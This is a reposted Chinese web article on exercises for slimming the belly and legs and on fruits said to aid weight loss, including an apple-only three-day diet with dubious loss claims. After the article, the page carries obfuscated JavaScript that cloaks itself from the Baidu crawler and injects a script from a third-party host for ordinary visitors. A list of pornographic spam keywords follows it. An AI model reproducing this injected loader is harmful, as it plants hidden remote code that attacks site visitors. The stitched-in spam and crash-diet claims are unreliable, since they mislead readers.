當前位置:首頁 > 健康 > 運動健身 > 正文

怎樣運動才能瘦肚子?

2017-04-14 20:43:43  來源:360常識網   熱度:
導語:現在社會壓力非常的巨大,很多白領上班族們,為了家庭,為了孩子,為了能夠讓他們有一個更好的生活,都不得不每天上班把時間賣在工作上,每

現在社會壓力非常的巨大,很多白領上班族們,為了家庭,為了孩子,為了能夠讓他們有一個更好的生活,都不得不每天上班把時間賣在工作上,每天坐在辦公桌前不停的工作,所以這就導致很多女性在長時間的坐姿狀態下,開始有肚子上的贅肉,開始臀部變大,非常影響女性的美觀,甚至導致了女性的不自信,有什么方法可以瘦肚子呢?

一、瘦肚子

Step1

身體放松,平躺在地上。膝蓋伸直并攏,雙腿慢慢向上抬起,直到與身體呈90度的位置。堅持10秒后,慢慢放下。此動作每天重復15-20次。

Step2

身體平躺在地上,頭部和肩膀著地。膝蓋并攏彎曲,身體慢慢抬起到肩膀離開地面,左手去碰右膝蓋。然后,再次抬起身體時用右手去碰左膝蓋。此動作每天重復10-15次。

Step3

身體回到初始位置,全身放松。深呼吸后開始慢慢吐氣。吐到一半后屏住呼吸。接著收緊腹部,挺起前胸,然后慢慢吐氣。此動作每天重復25-30次。

Step4

右腿著地,保持直立。左腿抬起,大腿與地面平行。然后手掌輕輕握拳,身體向左邊扭轉,右手肘部碰左膝蓋。接著換到相反方向,此套動作每天重復10-15次。

二、瘦腿

盡量抬腿!并保持此一姿勢數秒種,直到雙腳感到疲乏為止。

緩緩抬起腳保持這一姿勢數秒鐘將小腿緩緩抬起,直到與大腿同高處,保持此姿勢30秒后收腿。以10-15次為一組動作,不妨在做完一組動作后,再逐漸增加運動量。

雙腿腳踝交叉、同時彎曲膝蓋。采用仰臥姿勢,雙手置于臀部下面、彎曲膝蓋、腳踝交差。

抬起雙腿,伸展膝蓋交叉的腳朝天花板。抬起并盡量伸展雙膝,以收縮大腿肌肉。以15-20次為一組動作、做1-3組。

吃什么水果可以減肥

蘋果

這個比死更難受的減肥法被喻為節食法中最有效的,但能夠成功的人少之又少。方法是三日內只食蘋果,生食、燒烤、榨汁、煲湯悉隨尊便,不限數量,如是者三日可減3至5公斤。注意:要注意隔7日才可食第2次,每次亦不能食超過3日,否則隨時會營養不良,甚至厭食癥。3日後要食粥或菜,等身體適應了至才可開始正常飲食!對肥胖的女生來說,最重要的莫過于蘋果還可以降低熱量吸收,再加上蘋果的鉀質很多,可以防止腿部水腫。

番茄番茄幾乎全由水造,食之飽肚,卡路里又低(每200克含30卡路里),用來減肥比較合適。番茄含有茄紅素、食物纖維和果膠成分,本身熱量就是很低的,而且還可以降低身體對熱量的攝取,促進腸胃蠕動,除了有瘦身的功效,瘦臉的功效也不可小看。

葡萄柚

葡萄柚又叫西柚,在傳統市場上比較少見。歐美人都愛吃葡萄柚等酸性水果來塑身,葡萄柚屬于酸性水果,可以促進腸道消化功能,葡萄柚含有豐富的維他命 C,可以消除疲勞。加上葡萄柚的熱量和含糖量少,是最佳的明星減肥水果。

現在的社會男女地位是平等的,女性有這個權利為了能夠讓自己有更加完美的身材,而花費一些時間在運動上面,所以女性們不要再為肚子上的贅肉而煩惱,開始運動吧要!要相信自己會有一個完美的身材。

轉載申明:360常識網,歡迎分享,轉載請注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}
国产精品亚洲综合专区片高清久久久| 99久久人妻无码精品系列蜜桃| 国产精品视频李雅| 亚洲视频精品在线| 亚洲福利精品一区二区三区| 国产精品久久久久久久久| 久久久久国产精品| 国产suv精品一区二区6| 网友自拍区视频精品| 无码国产精品一区二区免费模式 | 午夜精品久久久久久久| 日韩精品一二三四区| 九九这里只有精品视频| 国产精品99久久久久久宅男小说| 久久夜色撩人精品国产小说| 少妇人妻偷人精品无码视频 | 国产精品一区二区av| 不卡精品国产_亚洲人成在线| 久久se这里只有精品| 亚洲精品视频免费观看| 亚洲人成国产精品无码| 精品成人av一区二区三区| 91精品国产福利在线导航| 99re国产精品视频首页| 中文无码久久精品| 久久精品夜色国产亚洲av| 久久久一本精品99久久精品88| 久久久久人妻一区精品性色av| 在线精品视频播放| 国产精品大片天天看片| 亚洲日韩一区精品射精| 国产久热精品无码激情| 国产精品二区高清在线| 日韩精品免费一线在线观看| 国产激情精品一区二区三区| 在线观看亚洲精品福利片| 国内精品久久人妻互换| 日产精品99久久久久久| 亚洲人精品亚洲人成在线| 香蕉久久精品国产| 国产成人精品午夜福麻豆|